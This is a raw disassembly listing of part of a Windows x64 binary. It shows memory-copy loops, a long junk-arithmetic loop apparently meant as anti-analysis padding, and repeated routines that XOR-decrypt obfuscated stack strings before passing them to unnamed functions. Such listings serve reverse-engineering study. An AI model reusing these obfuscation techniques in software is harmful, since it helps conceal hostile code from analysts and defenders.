movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001fea0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140040c00]
mov qword [r15 + rax*8 + 0x418b0], r12
mov qword [r15 + rax*8 + 0x40280], r8
inc rax
mov qword [0x140040c00], rax
lea rdx, [rsp + 0x60]
lea rcx, [0x1400015f0]
call r8
nop
mov rcx, qword [rsp + 0x170]
xor rcx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rsp + 0x280]
call fcn.140025220
mov dword [rsp + 0x150], 0xffffff9c
mov dword [rsp + 0x154], 0x64
movups xmmword [rsp + 0x160], xmm9
mov dword [rsp + 0x40], esi
movsd qword [rsp + 0x148], xmm10
lea rcx, [rsp + 0x48]
call fcn.140001660
mov qword [rsp + 0x60], 0x64
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x50]
call fcn.140027000
lea rcx, [rsp + 0x190]
call fcn.140002530
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x190], xmm1
mov qword [rsp + 0x1a0], rsi
lea rcx, [rsp + 0x60]
call fcn.140027020
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140025120
nop
lea rcx, [rsp + 0x48]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x60]
call fcn.1400250e0
lea rcx, [rsp + 0x60]
call fcn.140027070
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140025120
nop
lea rcx, [rsp + 0x48]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x60]
call fcn.1400250e0
lea rcx, [rsp + 0x60]
call fcn.1400270a0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140025120
nop
lea rcx, [rsp + 0x48]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x60]
call fcn.1400250e0
lea rcx, [rsp + 0x60]
call fcn.1400270d0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140025120
nop
lea rcx, [rsp + 0x48]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x60]
call fcn.1400250e0
lea rcx, [rsp + 0x60]
call fcn.140027100
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140025120
nop
lea rcx, [rsp + 0x48]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x60]
call fcn.1400250e0
lea rcx, [rsp + 0x60]
call fcn.140027130
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140025120
nop
lea rcx, [rsp + 0x48]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x60]
call fcn.1400250e0
lea rcx, [rsp + 0x60]
call fcn.140001660
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.1400024d0
test al, al
jns 0x140020527
nop
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026f50
mov rbx, qword [rsp + 0x198]
sub rbx, qword [rsp + 0x190]
sar rbx, 3
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026f50
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0x190]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026f50
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027160
movaps xmm5, xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027160
movaps xmm1, xmm5
call fcn.140002380
movsd xmm1, qword [rsp + 0x148]
addsd xmm0, xmm1
movsd qword [rsp + 0x148], xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027160
movaps xmm1, xmm8
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x148]
subsd xmm1, xmm0
movsd qword [rsp + 0x148], xmm1
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027160
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x148]
movsd qword [rsp + 0x148], xmm0
lea rdx, [0x14003597c]
lea rcx, [rsp + 0x200]
call fcn.140026200
nop
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x200]
call fcn.1400022f0
lea rcx, [rsp + 0x1b0]
call fcn.140002530
lea rcx, [rsp + 0x1b0]
call fcn.1400252f0
nop
lea rax, [rsp + 0x150]
mov qword [rsp + 0x1d0], rax
lea rax, [rsp + 0x280]
mov qword [rsp + 0x1d8], rax
movaps xmm0, xmmword [rsp + 0x1d0]
movdqa xmmword [rsp + 0x70], xmm0
lea r8, [rsp + 0x70]
mov rdx, qword [rsp + 0x1b8]
mov rcx, qword [rsp + 0x1b0]
call fcn.1400271f0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1b0]
call fcn.140002400
mov rdx, qword [rsp + 0x1b8]
mov rcx, qword [rsp + 0x1b0]
call fcn.140027250
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026f50
mov ebx, eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026f50
mov r8d, ebx
mov edx, eax
call fcn.140002500
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
test al, 1
jne 0x140020405
call fcn.140026f50
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x140020414
call fcn.140026f50
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov edi, 5
nop dword [rax]
xor ebx, ebx
nop dword [rax]
nop word [rax + rax]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026f50
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027160
movsd xmm5, qword [rsp + 0x148]
addsd xmm0, xmm5
movsd qword [rsp + 0x148], xmm0
lea rdx, [rsp + 0x280]
test bl, 1
jne 0x1400204a1
lea rcx, [rsp + 0x150]
call fcn.140026f50
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x1400204c8
movsd xmm5, qword [rsp + 0x148]
lea rcx, [rsp + 0x160]
call fcn.140027160
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x148], xmm5
inc ebx
cmp ebx, 5
jl 0x140020430
sub rdi, 1
jne 0x140020420
lea rcx, [rsp + 0x1b0]
call fcn.140025290
nop
lea rcx, [rsp + 0x200]
call fcn.1400261a0
sub rsi, 1
jne 0x1400201b0
lea rcx, [rsp + 0x60]
call fcn.140001660
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.1400024d0
test al, al
js 0x1400201a0
mov edi, dword [0x14003f090]
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0x190]
call fcn.140025150
movups xmm0, xmmword [0x1400369e8]
movups xmmword [rsp + 0xe0], xmm0
movups xmm1, xmmword [0x1400369f8]
movups xmmword [rsp + 0xf0], xmm1
mov eax, dword [0x140036a08]
mov dword [rsp + 0x100], eax
movzx eax, word [0x140036a0c]
mov word [rsp + 0x104], ax
mov r9d, esi
cmp edi, 2
jl 0x14002071f
movdqa xmm0, xmmword [0x140037330]
movdqa xmmword [rsp + 0x160], xmm0
lea rcx, [rsp + 0xe4]
mov edx, dword [rsp + 0x160]
nop
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x20
jl 0x1400205a0
cmp r9d, 0x26
jge 0x14002077f
movsxd rax, r9d
lea r10, [rsp + 0xe0]
add r10, rax
nop dword [rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
movzx eax, r9b
add al, al
add cl, 0x51
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x26
jl 0x140020730
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x60], rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x200]
call fcn.1400278f0
nop
lea rcx, [rsp + 0x200]
call fcn.140002ea0
movzx ebx, al
lea rcx, [rsp + 0x200]
call fcn.1400026e0
test bl, bl
je 0x140020a50
movups xmm0, xmmword [str.2_1y_8]
movups xmmword [rsp + 0x90], xmm0
movups xmm1, xmmword [0x140036280]
movups xmmword [rsp + 0xa0], xmm1
movups xmm0, xmmword [0x140036290]
movups xmmword [rsp + 0xb0], xmm0
mov eax, dword [0x1400362a0]
mov dword [rsp + 0xc0], eax
movzx eax, byte [0x1400362a4]
mov byte [rsp + 0xc4], al
mov r9d, esi
cmp edi, 2
jl 0x1400209bf
movdqa xmm0, xmmword [0x140037330]
movdqa xmmword [rsp + 0x160], xmm0
lea rcx, [rsp + 0x94]
mov edx, dword [rsp + 0x160]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x30
jl 0x140020840
cmp r9d, 0x35
jge 0x140020a1f
movsxd rax, r9d
lea r10, [rsp + 0x90]
add r10, rax
nop dword [rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
movzx eax, r9b
add al, al
add cl, 0x51
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x35
jl 0x1400209d0
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x200]
call fcn.140026200
nop
lea rcx, [rsp + 0x200]
call fcn.140017b90
nop
lea rcx, [rsp + 0x200]
call fcn.1400261a0
movups xmm0, xmmword [0x1400363b8]
movups xmmword [rsp + 0xe0], xmm0
movups xmm1, xmmword [0x1400363c8]
movups xmmword [rsp + 0xf0], xmm1
movsd xmm0, qword [0x1400363d8]
movsd qword [rsp + 0x100], xmm0
cmp edi, 2
jl 0x140020c29
mov edx, esi
movdqa xmm0, xmmword [0x140037330]
movdqa xmmword [rsp + 0x160], xmm0
lea rcx, [rsp + 0xe4]
mov r8d, dword [rsp + 0x160]
nop dword [rax + rax]
movd xmm4, edx
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, r8d
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [rdx + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, r8d
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x140020ab0
jmp 0x140020c8f
lea r10, [rsp + 0xe0]
mov r9d, esi
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
movzx eax, r9b
add al, al
add cl, 0x51
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x28
jl 0x140020c40
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x200]
call fcn.140026200
nop
lea rcx, [rsp + 0x200]
call fcn.140017b90
nop
lea rcx, [rsp + 0x200]
call fcn.1400261a0
movups xmm0, xmmword [str._6__141]
movups xmmword [rsp + 0x90], xmm0
movups xmm1, xmmword [0x140036c60]
movups xmmword [rsp + 0xa0], xmm1
movsd xmm0, qword [0x140036c70]
movsd qword [rsp + 0xb0], xmm0
movzx eax, word [0x140036c78]
mov word [rsp + 0xb8], ax
movzx eax, byte [0x140036c7a]
mov byte [rsp + 0xba], al
mov r9d, esi
cmp edi, 2
jl 0x140020ebf
movdqa xmm0, xmmword [0x140037330]
movdqa xmmword [rsp + 0x160], xmm0
lea rcx, [rsp + 0x94]
mov edx, dword [rsp + 0x160]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x28
jl 0x140020d40
cmp r9d, 0x2b
jge 0x140020f1f
movsxd rax, r9d
lea r10, [rsp + 0x90]
add r10, rax
nop dword [rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
movzx eax, r9b
add al, al
add cl, 0x51
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x2b
jl 0x140020ed0
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x200]
call fcn.140026200
nop
lea rcx, [rsp + 0x200]
call fcn.140017b90
nop
lea rcx, [rsp + 0x200]
call fcn.1400261a0
mov byte [rsp + 0x80], 0
mov eax, dword [str._r_Ws]
mov dword [rsp + 0x148], eax
cmp byte [0x140037207], 0
je 0x14002108f
cmp edi, 2
jl 0x14002102e
movdqa xmm3, xmm13
punpckldq xmm3, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm2, xmm3
pmuldq xmm2, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm2, xmm0, 0xdd
psrad xmm2, 5
pmuldq xmm3, xmm12
pmuldq xmm1, xmm12
shufps xmm3, xmm1, 0xdd
psrad xmm3, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm15
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm7
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
paddb xmm2, xmmword [0x140037330]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x148], xmm2
jmp 0x14002108f
lea r10, [rsp + 0x148]
mov r9d, esi
nop dword [rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
movzx eax, r9b
add al, al
add cl, 0x51
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 4
jl 0x140021040
lea rdx, [rsp + 0x148]
lea rcx, [rsp + 0x1d0]
call fcn.1400241a0
mov rbx, rax
movups xmm0, xmmword [str.9_arp]
movups xmmword [rsp + 0x90], xmm0
movups xmm1, xmmword [0x140037070]
movups xmmword [rsp + 0xa0], xmm1
movups xmm0, xmmword [0x140037080]
movups xmmword [rsp + 0xb0], xmm0
movups xmm1, xmmword [0x140037090]
movups xmmword [rsp + 0xc0], xmm1
movsd xmm0, qword [0x1400370a0]
movsd qword [rsp + 0xd0], xmm0
mov eax, dword [0x1400370a8]
mov dword [rsp + 0xd8], eax
movzx eax, word [0x1400370ac]
mov word [rsp + 0xdc], ax
movzx eax, byte [0x1400370ae]
mov byte [rsp + 0xde], al
mov r9d, esi
cmp edi, 2
jl 0x1400212cf
movdqa xmm0, xmmword [0x140037330]
movdqa xmmword [rsp + 0x160], xmm0
lea rcx, [rsp + 0x94]
mov edx, dword [rsp + 0x160]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm3, xmm4
punpckldq xmm3, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm2, xmm3
pmuldq xmm2, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm2, xmm0, 0xdd
psrad xmm2, 5
pmuldq xmm3, xmm12
pmuldq xmm1, xmm12
shufps xmm3, xmm1, 0xdd
psrad xmm3, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm15
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm7
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x48
jl 0x140021150
cmp r9d, 0x4f
jge 0x14002132f
movsxd rax, r9d
lea r10, [rsp + 0x90]
add r10, rax
nop dword [rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
movzx eax, r9b
add al, al
add cl, 0x51
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
